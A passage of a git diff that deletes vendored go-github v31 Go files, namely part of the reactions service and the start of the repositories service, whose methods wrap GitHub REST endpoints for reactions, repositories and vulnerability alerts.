s.deleteReaction(ctx, url) -} - -// DeletePullRequestCommentReactionByID deletes the reaction to a pull request review comment by repository ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-a-pull-request-comment-reaction -func (s *ReactionsService) DeletePullRequestCommentReactionByID(ctx context.Context, repoID, commentID, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repositories/%v/pulls/comments/%v/reactions/%v", repoID, commentID, reactionID) - - return s.deleteReaction(ctx, url) -} - -// ListTeamDiscussionReactions lists the reactions for a team discussion. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-team-discussion-legacy -func (s *ReactionsService) ListTeamDiscussionReactions(ctx context.Context, teamID int64, discussionNumber int, opts *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/reactions", teamID, discussionNumber) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateTeamDiscussionReaction creates a reaction for a team discussion. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-team-discussion-legacy -func (s *ReactionsService) CreateTeamDiscussionReaction(ctx context.Context, teamID int64, discussionNumber int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/reactions", teamID, discussionNumber) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteTeamDiscussionReaction deletes the reaction to a team discussion. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-team-discussion-reaction -func (s *ReactionsService) DeleteTeamDiscussionReaction(ctx context.Context, org, teamSlug string, discussionNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/reactions/%v", org, teamSlug, discussionNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -// DeleteTeamDiscussionReactionByOrgIDAndTeamID deletes the reaction to a team discussion by organization ID and team ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-team-discussion-reaction -func (s *ReactionsService) DeleteTeamDiscussionReactionByOrgIDAndTeamID(ctx context.Context, orgID, teamID, discussionNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/reactions/%v", orgID, teamID, discussionNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -// ListTeamDiscussionCommentReactions lists the reactions for a team discussion comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-team-discussion-comment-legacy -func (s *ReactionsService) ListTeamDiscussionCommentReactions(ctx context.Context, teamID int64, discussionNumber, commentNumber int, opts *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v/reactions", teamID, discussionNumber, commentNumber) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, nil, err - } - return m, resp, nil -} - -// CreateTeamDiscussionCommentReaction creates a reaction for a team discussion comment. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-team-discussion-comment-legacy -func (s *ReactionsService) CreateTeamDiscussionCommentReaction(ctx context.Context, teamID int64, discussionNumber, commentNumber int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v/reactions", teamID, discussionNumber, commentNumber) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteTeamDiscussionCommentReaction deletes the reaction to a team discussion comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-team-discussion-comment-reaction -func (s *ReactionsService) DeleteTeamDiscussionCommentReaction(ctx context.Context, org, teamSlug string, discussionNumber, commentNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments/%v/reactions/%v", org, teamSlug, discussionNumber, commentNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -// DeleteTeamDiscussionCommentReactionByOrgIDAndTeamID deletes the reaction to a team discussion comment by organization ID and team ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-team-discussion-comment-reaction -func (s *ReactionsService) DeleteTeamDiscussionCommentReactionByOrgIDAndTeamID(ctx context.Context, orgID, teamID, discussionNumber, commentNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments/%v/reactions/%v", orgID, teamID, discussionNumber, commentNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -func (s *ReactionsService) deleteReaction(ctx context.Context, url string) (*Response, error) { - req, err := s.client.NewRequest(http.MethodDelete, url, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos.go b/vendor/github.com/google/go-github/v31/github/repos.go deleted file mode 100644 index 1014d91f44..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos.go +++ /dev/null @@ -1,1503 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" - "strings" -) - -// RepositoriesService handles communication with the repository related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/repos/ -type RepositoriesService service - -// Repository represents a GitHub repository. -type Repository struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - FullName *string `json:"full_name,omitempty"` - Description *string `json:"description,omitempty"` - Homepage *string `json:"homepage,omitempty"` - CodeOfConduct *CodeOfConduct `json:"code_of_conduct,omitempty"` - DefaultBranch *string `json:"default_branch,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PushedAt *Timestamp `json:"pushed_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CloneURL *string `json:"clone_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - MirrorURL *string `json:"mirror_url,omitempty"` - SSHURL *string `json:"ssh_url,omitempty"` - SVNURL *string `json:"svn_url,omitempty"` - Language *string `json:"language,omitempty"` - Fork *bool `json:"fork,omitempty"` - ForksCount *int `json:"forks_count,omitempty"` - NetworkCount *int `json:"network_count,omitempty"` - OpenIssuesCount *int `json:"open_issues_count,omitempty"` - StargazersCount *int `json:"stargazers_count,omitempty"` - SubscribersCount *int `json:"subscribers_count,omitempty"` - WatchersCount *int `json:"watchers_count,omitempty"` - Size *int `json:"size,omitempty"` - AutoInit *bool `json:"auto_init,omitempty"` - Parent *Repository `json:"parent,omitempty"` - Source *Repository `json:"source,omitempty"` - TemplateRepository *Repository `json:"template_repository,omitempty"` - Organization *Organization `json:"organization,omitempty"` - Permissions *map[string]bool `json:"permissions,omitempty"` - AllowRebaseMerge *bool `json:"allow_rebase_merge,omitempty"` - AllowSquashMerge *bool `json:"allow_squash_merge,omitempty"` - AllowMergeCommit *bool `json:"allow_merge_commit,omitempty"` - DeleteBranchOnMerge *bool `json:"delete_branch_on_merge,omitempty"` - Topics []string `json:"topics,omitempty"` - Archived *bool `json:"archived,omitempty"` - Disabled *bool `json:"disabled,omitempty"` - - // Only provided when using RepositoriesService.Get while in preview - License *License `json:"license,omitempty"` - - // Additional mutable fields when creating and editing a repository - Private *bool `json:"private,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - HasPages *bool `json:"has_pages,omitempty"` - HasProjects *bool `json:"has_projects,omitempty"` - HasDownloads *bool `json:"has_downloads,omitempty"` - IsTemplate *bool `json:"is_template,omitempty"` - LicenseTemplate *string `json:"license_template,omitempty"` - GitignoreTemplate *string `json:"gitignore_template,omitempty"` - - // Creating an organization repository. Required for non-owners. - TeamID *int64 `json:"team_id,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - ArchiveURL *string `json:"archive_url,omitempty"` - AssigneesURL *string `json:"assignees_url,omitempty"` - BlobsURL *string `json:"blobs_url,omitempty"` - BranchesURL *string `json:"branches_url,omitempty"` - CollaboratorsURL *string `json:"collaborators_url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - CommitsURL *string `json:"commits_url,omitempty"` - CompareURL *string `json:"compare_url,omitempty"` - ContentsURL *string `json:"contents_url,omitempty"` - ContributorsURL *string `json:"contributors_url,omitempty"` - DeploymentsURL *string `json:"deployments_url,omitempty"` - DownloadsURL *string `json:"downloads_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - ForksURL *string `json:"forks_url,omitempty"` - GitCommitsURL *string `json:"git_commits_url,omitempty"` - GitRefsURL *string `json:"git_refs_url,omitempty"` - GitTagsURL *string `json:"git_tags_url,omitempty"` - HooksURL *string `json:"hooks_url,omitempty"` - IssueCommentURL *string `json:"issue_comment_url,omitempty"` - IssueEventsURL *string `json:"issue_events_url,omitempty"` - IssuesURL *string `json:"issues_url,omitempty"` - KeysURL *string `json:"keys_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - LanguagesURL *string `json:"languages_url,omitempty"` - MergesURL *string `json:"merges_url,omitempty"` - MilestonesURL *string `json:"milestones_url,omitempty"` - NotificationsURL *string `json:"notifications_url,omitempty"` - PullsURL *string `json:"pulls_url,omitempty"` - ReleasesURL *string `json:"releases_url,omitempty"` - StargazersURL *string `json:"stargazers_url,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - SubscribersURL *string `json:"subscribers_url,omitempty"` - SubscriptionURL *string `json:"subscription_url,omitempty"` - TagsURL *string `json:"tags_url,omitempty"` - TreesURL *string `json:"trees_url,omitempty"` - TeamsURL *string `json:"teams_url,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []*TextMatch `json:"text_matches,omitempty"` - - // Visibility is only used for Create and Edit endpoints. The visibility field - // overrides the field parameter when both are used. - // Can be one of public, private or internal. - Visibility *string `json:"visibility,omitempty"` -} - -func (r Repository) String() string { - return Stringify(r) -} - -// BranchListOptions specifies the optional parameters to the -// RepositoriesService.ListBranches method. -type BranchListOptions struct { - // Setting to true returns only protected branches. - // When set to false, only unprotected branches are returned. - // Omitting this parameter returns all branches. - // Default: nil - Protected *bool `url:"protected,omitempty"` - - ListOptions -} - -// RepositoryListOptions specifies the optional parameters to the -// RepositoriesService.List method. -type RepositoryListOptions struct { - // Visibility of repositories to list. Can be one of all, public, or private. - // Default: all - Visibility string `url:"visibility,omitempty"` - - // List repos of given affiliation[s]. - // Comma-separated list of values. Can include: - // * owner: Repositories that are owned by the authenticated user. - // * collaborator: Repositories that the user has been added to as a - // collaborator. - // * organization_member: Repositories that the user has access to through - // being a member of an organization. This includes every repository on - // every team that the user is on. - // Default: owner,collaborator,organization_member - Affiliation string `url:"affiliation,omitempty"` - - // Type of repositories to list. - // Can be one of all, owner, public, private, member. Default: all - // Will cause a 422 error if used in the same request as visibility or - // affiliation. - Type string `url:"type,omitempty"` - - // How to sort the repository list. Can be one of created, updated, pushed, - // full_name. Default: full_name - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Can be one of asc or desc. - // Default: when using full_name: asc; otherwise desc - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// List the repositories for a user. Passing the empty string will list -// repositories for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-repositories-for-a-user -// GitHub API docs: https://developer.github.com/v3/repos/#list-repositories-for-the-authenticated-user -func (s *RepositoriesService) List(ctx context.Context, user string, opts *RepositoryListOptions) ([]*Repository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/repos", user) - } else { - u = "user/repos" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryListByOrgOptions specifies the optional parameters to the -// RepositoriesService.ListByOrg method. -type RepositoryListByOrgOptions struct { - // Type of repositories to list. Possible values are: all, public, private, - // forks, sources, member. Default is "all". - Type string `url:"type,omitempty"` - - // How to sort the repository list. Can be one of created, updated, pushed, - // full_name. Default is "created". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Can be one of asc or desc. - // Default when using full_name: asc; otherwise desc. - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListByOrg lists the repositories for an organization. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-organization-repositories -func (s *RepositoriesService) ListByOrg(ctx context.Context, org string, opts *RepositoryListByOrgOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("orgs/%v/repos", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryListAllOptions specifies the optional parameters to the -// RepositoriesService.ListAll method. -type RepositoryListAllOptions struct { - // ID of the last repository seen - Since int64 `url:"since,omitempty"` -} - -// ListAll lists all GitHub repositories in the order that they were created. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-public-repositories -func (s *RepositoriesService) ListAll(ctx context.Context, opts *RepositoryListAllOptions) ([]*Repository, *Response, error) { - u, err := addOptions("repositories", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// createRepoRequest is a subset of Repository and is used internally -// by Create to pass only the known fields for the endpoint. -// -// See https://github.com/google/go-github/issues/1014 for more -// information. -type createRepoRequest struct { - // Name is required when creating a repo. - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - Homepage *string `json:"homepage,omitempty"` - - Private *bool `json:"private,omitempty"` - Visibility *string `json:"visibility,omitempty"` - HasIssues *bool `json:"has_issues,omitempty"` - HasProjects *bool `json:"has_projects,omitempty"` - HasWiki *bool `json:"has_wiki,omitempty"` - IsTemplate *bool `json:"is_template,omitempty"` - - // Creating an organization repository. Required for non-owners. - TeamID *int64 `json:"team_id,omitempty"` - - AutoInit *bool `json:"auto_init,omitempty"` - GitignoreTemplate *string `json:"gitignore_template,omitempty"` - LicenseTemplate *string `json:"license_template,omitempty"` - AllowSquashMerge *bool `json:"allow_squash_merge,omitempty"` - AllowMergeCommit *bool `json:"allow_merge_commit,omitempty"` - AllowRebaseMerge *bool `json:"allow_rebase_merge,omitempty"` - DeleteBranchOnMerge *bool `json:"delete_branch_on_merge,omitempty"` -} - -// Create a new repository. If an organization is specified, the new -// repository will be created under that org. If the empty string is -// specified, it will be created for the authenticated user. -// -// Note that only a subset of the repo fields are used and repo must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create-a-repository-for-the-authenticated-user -// GitHub API docs: https://developer.github.com/v3/repos/#create-an-organization-repository -func (s *RepositoriesService) Create(ctx context.Context, org string, repo *Repository) (*Repository, *Response, error) { - var u string - if org != "" { - u = fmt.Sprintf("orgs/%v/repos", org) - } else { - u = "user/repos" - } - - repoReq := &createRepoRequest{ - Name: repo.Name, - Description: repo.Description, - Homepage: repo.Homepage, - Private: repo.Private, - Visibility: repo.Visibility, - HasIssues: repo.HasIssues, - HasProjects: repo.HasProjects, - HasWiki: repo.HasWiki, - IsTemplate: repo.IsTemplate, - TeamID: repo.TeamID, - AutoInit: repo.AutoInit, - GitignoreTemplate: repo.GitignoreTemplate, - LicenseTemplate: repo.LicenseTemplate, - AllowSquashMerge: repo.AllowSquashMerge, - AllowMergeCommit: repo.AllowMergeCommit, - AllowRebaseMerge: repo.AllowRebaseMerge, - DeleteBranchOnMerge: repo.DeleteBranchOnMerge, - } - - req, err := s.client.NewRequest("POST", u, repoReq) - if err != nil { - return nil, nil, err - } - - acceptHeaders := []string{mediaTypeRepositoryTemplatePreview, mediaTypeRepositoryVisibilityPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// TemplateRepoRequest represents a request to create a repository from a template. -type TemplateRepoRequest struct { - // Name is required when creating a repo. - Name *string `json:"name,omitempty"` - Owner *string `json:"owner,omitempty"` - Description *string `json:"description,omitempty"` - - Private *bool `json:"private,omitempty"` -} - -// CreateFromTemplate generates a repository from a template. -// -// GitHub API docs: https://developer.github.com/v3/repos/#create-a-repository-using-a-template -func (s *RepositoriesService) CreateFromTemplate(ctx context.Context, templateOwner, templateRepo string, templateRepoReq *TemplateRepoRequest) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/generate", templateOwner, templateRepo) - - req, err := s.client.NewRequest("POST", u, templateRepoReq) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeRepositoryTemplatePreview) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// Get fetches a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#get-a-repository -func (s *RepositoriesService) Get(ctx context.Context, owner, repo string) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when the license support fully launches - // https://developer.github.com/v3/licenses/#get-a-repositorys-license - acceptHeaders := []string{ - mediaTypeCodesOfConductPreview, - mediaTypeTopicsPreview, - mediaTypeRepositoryTemplatePreview, - mediaTypeRepositoryVisibilityPreview, - } - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// GetCodeOfConduct gets the contents of a repository's code of conduct. -// -// GitHub API docs: https://developer.github.com/v3/codes_of_conduct/#get-the-contents-of-a-repositorys-code-of-conduct -func (s *RepositoriesService) GetCodeOfConduct(ctx context.Context, owner, repo string) (*CodeOfConduct, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/community/code_of_conduct", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - coc := new(CodeOfConduct) - resp, err := s.client.Do(ctx, req, coc) - if err != nil { - return nil, resp, err - } - - return coc, resp, nil -} - -// GetByID fetches a repository. -// -// Note: GetByID uses the undocumented GitHub API endpoint /repositories/:id. -func (s *RepositoriesService) GetByID(ctx context.Context, id int64) (*Repository, *Response, error) { - u := fmt.Sprintf("repositories/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// Edit updates a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#update-a-repository -func (s *RepositoriesService) Edit(ctx context.Context, owner, repo string, repository *Repository) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("PATCH", u, repository) - if err != nil { - return nil, nil, err - } - - acceptHeaders := []string{mediaTypeRepositoryTemplatePreview, mediaTypeRepositoryVisibilityPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// Delete a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#delete-a-repository -func (s *RepositoriesService) Delete(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Contributor represents a repository contributor -type Contributor struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - Contributions *int `json:"contributions,omitempty"` -} - -// ListContributorsOptions specifies the optional parameters to the -// RepositoriesService.ListContributors method. -type ListContributorsOptions struct { - // Include anonymous contributors in results or not - Anon string `url:"anon,omitempty"` - - ListOptions -} - -// GetVulnerabilityAlerts checks if vulnerability alerts are enabled for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#check-if-vulnerability-alerts-are-enabled-for-a-repository -func (s *RepositoriesService) GetVulnerabilityAlerts(ctx context.Context, owner, repository string) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - resp, err := s.client.Do(ctx, req, nil) - vulnerabilityAlertsEnabled, err := parseBoolResponse(err) - - return vulnerabilityAlertsEnabled, resp, err -} - -// EnableVulnerabilityAlerts enables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#enable-vulnerability-alerts -func (s *RepositoriesService) EnableVulnerabilityAlerts(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - return s.client.Do(ctx, req, nil) -} - -// DisableVulnerabilityAlerts disables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#disable-vulnerability-alerts -func (s *RepositoriesService) DisableVulnerabilityAlerts(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/vulnerability-alerts", owner, repository) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredVulnerabilityAlertsPreview) - - return s.client.Do(ctx, req, nil) -} - -// EnableAutomatedSecurityFixes enables the automated security fixes for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#enable-automated-security-fixes -func (s *RepositoriesService) EnableAutomatedSecurityFixes(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/automated-security-fixes", owner, repository) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredAutomatedSecurityFixesPreview) - - return s.client.Do(ctx, req, nil) -} - -// DisableAutomatedSecurityFixes disables vulnerability alerts and the dependency graph for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#disable-automated-security-fixes -func (s *RepositoriesService) DisableAutomatedSecurityFixes(ctx context.Context, owner, repository string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/automated-security-fixes", owner, repository) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeRequiredAutomatedSecurityFixesPreview) - - return s.client.Do(ctx, req, nil) -} - -// ListContributors lists contributors for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-contributors -func (s *RepositoriesService) ListContributors(ctx context.Context, owner string, repository string, opts *ListContributorsOptions) ([]*Contributor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/contributors", owner, repository) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var contributor []*Contributor - resp, err := s.client.Do(ctx, req, &contributor) - if err != nil { - return nil, nil, err - } - - return contributor, resp, nil -} - -// ListLanguages lists languages for the specified repository. The returned map -// specifies the languages and the number of bytes of code written in that -// language. For example: -// -// { -// "C": 78769, -// "Python": 7769 -// } -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-languages -func (s *RepositoriesService) ListLanguages(ctx context.Context, owner string, repo string) (map[string]int, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/languages", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - languages := make(map[string]int) - resp, err := s.client.Do(ctx, req, &languages) - if err != nil { - return nil, resp, err - } - - return languages, resp, nil -} - -// ListTeams lists the teams for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-teams -func (s *RepositoriesService) ListTeams(ctx context.Context, owner string, repo string, opts *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/teams", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// RepositoryTag represents a repository tag. -type RepositoryTag struct { - Name *string `json:"name,omitempty"` - Commit *Commit `json:"commit,omitempty"` - ZipballURL *string `json:"zipball_url,omitempty"` - TarballURL *string `json:"tarball_url,omitempty"` -} - -// ListTags lists tags for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/#list-tags -func (s *RepositoriesService) ListTags(ctx context.Context, owner string, repo string, opts *ListOptions) ([]*RepositoryTag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/tags", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var tags []*RepositoryTag - resp, err := s.client.Do(ctx, req, &tags) - if err != nil { - return nil, resp, err - } - - return tags, resp, nil -} - -// Branch represents a repository branch -type Branch struct { - Name *string `json:"name,omitempty"` - Commit *RepositoryCommit `json:"commit,omitempty"` - Protected *bool `json:"protected,omitempty"` -} - -// Protection represents a repository branch's protection. -type Protection struct { - RequiredStatusChecks *RequiredStatusChecks `json:"required_status_checks"` - RequiredPullRequestReviews *PullRequestReviewsEnforcement `json:"required_pull_request_reviews"` - EnforceAdmins *AdminEnforcement `json:"enforce_admins"` - Restrictions *BranchRestrictions `json:"restrictions"` - RequireLinearHistory *RequireLinearHistory `json:"required_linear_history"` - AllowForcePushes *AllowForcePushes `json:"allow_force_pushes"` - AllowDeletions *AllowDeletions `json:"allow_deletions"` -} - -// ProtectionRequest represents a request to create/edit a branch's protection. -type ProtectionRequest struct { - RequiredStatusChecks *RequiredStatusChecks `json:"required_status_checks"` - RequiredPullRequestReviews *PullRequestReviewsEnforcementRequest `json:"required_pull_request_reviews"` - EnforceAdmins bool `json:"enforce_admins"` - Restrictions *BranchRestrictionsRequest `json:"restrictions"` - // Enforces a linear commit Git history, which prevents anyone from pushing merge commits to a branch. - RequireLinearHistory *bool `json:"required_linear_history,omitempty"` - // Permits force pushes to the protected branch by anyone with write access to the repository. - AllowForcePushes *bool `json:"allow_force_pushes,omitempty"` - // Allows deletion of the protected branch by anyone with write access to the repository. - AllowDeletions *bool `json:"allow_deletions,omitempty"` -} - -// RequiredStatusChecks represents the protection status of a individual branch. -type RequiredStatusChecks struct { - // Require branches to be up to date before merging. (Required.) - Strict bool `json:"strict"` - // The list of status checks to require in order to merge into this - // branch. (Required; use []string{} instead of nil 